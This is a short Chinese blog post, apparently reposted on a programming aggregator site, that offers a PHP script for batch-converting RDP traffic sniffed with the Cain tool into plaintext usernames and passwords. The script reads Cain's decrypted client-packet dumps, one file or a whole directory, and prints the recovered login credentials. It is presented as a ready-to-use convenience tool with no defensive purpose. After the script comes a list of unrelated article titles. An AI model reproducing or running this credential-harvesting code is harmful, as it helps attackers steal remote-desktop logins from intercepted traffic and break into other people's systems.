Cain嗅探到的RDP包批量解析为用户名+密码的php脚本
来源:互联网 发布:作图软件大全 编辑:程序博客网 时间:2024/06/09 20:21
网上搜了一下有一款工具叫“Cain RDP Parser”,好家伙,一个一个选,玩死人的。。。索性写了个PHP脚本来批量解析。凑合着用。
<?php//Author Wdot//Site:http://wdot.cc//用法 php CainRdpParser.php /tmp/1.txt #单个文件解析//用法 php CainRdpParser.php /tmp/RDP/ #批量解析error_reporting(E_ERROR);if(is_dir($argv[1])){ foreach (scandir($argv[1]) as $key => $value) { if($value!='.' && $value!='..') { rdpParser($argv[1].$value); } }}elseif(is_file($argv[1])){ rdpParser($argv[1]);}function rdpParser($filename){ $crlf = "\r\n"; if(!file_exists($filename)){ print "file \"$filename\" not exists...$crlf"; return; } $rdpH=fopen($filename,'r'); print "FILE:".basename($filename).$crlf; fseek($rdpH,0); while (!feof($rdpH)) { $line=trim(fgets($rdpH)); if(preg_match("/\w+.address:.*?$/",$line,$m)) { print $line.$crlf; } if(preg_match("/^\[Client decrypted packet\]/",$line,$m)) { $packet=''; while (!empty($line)) { $line=trim(fgets($rdpH)); $packet.=substr($line,5,48); } $packets=explode('0000000000',str_replace(' ', '', $packet)); $i=count($packets)-27; $packets=explode('0000',$packets[$i]); $times=0; foreach ($packets as $key => $value) { if(empty($value) || $times>=2)continue; print (($times==0)?'username':'password').":\t".pack('H*',$value).$crlf; $times++; } break; } } fclose($rdpH); print "-------------------------------$crlf";}?>
- Cain嗅探到的RDP包批量解析为用户名+密码的php脚本
- 通过linux的shell脚本批量创建用户名,用户名所属目录,设置对应密码
- 通过linux的shell脚本批量创建用户名,用户名所属目录,设置对应密码
- php用户名和密码的简单验证
- 批量获取宽带用户的用户名与密码教程
- 修改RDP端口并启用的脚本
- JSP<%= var%>输出脚本+获取cookie的用户名密码
- 提供用户名和密码的SSH自动登录脚本
- expect ------提供用户名和密码的SSH自动登录脚本
- 提供用户名和密码的SSH自动登录脚本
- 提供用户名和密码的SSH自动登录脚本
- expect 提供用户名和密码的SSH自动登录脚本
- (实用php脚本)批量删除数据库下所有前缀为prefix_的表
- FTP 用户名密码脚本
- 批量无密码ssh登陆的shell脚本
- 批量生成用户名和密码
- 用户名和密码的校验
- WCF的用户名密码认证
- 无线不能支持某些移动设备的原因
- Redis使用总结之与Memcached异同
- phpstorm的快捷键
- 常用正则表达式例子
- Grails2中的Many-to-many关系
- Cain嗅探到的RDP包批量解析为用户名+密码的php脚本
- Stratos2.0的架构
- POJ 1423 Greatest Common Increasing Subsequence【裸LCIS】
- 为什么优秀的程序员既懒又笨
- C# 仿金山毒霸启动和关闭淡入淡出效果
- anyevent::snmp+coro
- 细说Cookie
- C语言面试题目总结
- 实现在Hibernate中的分页查询原理解读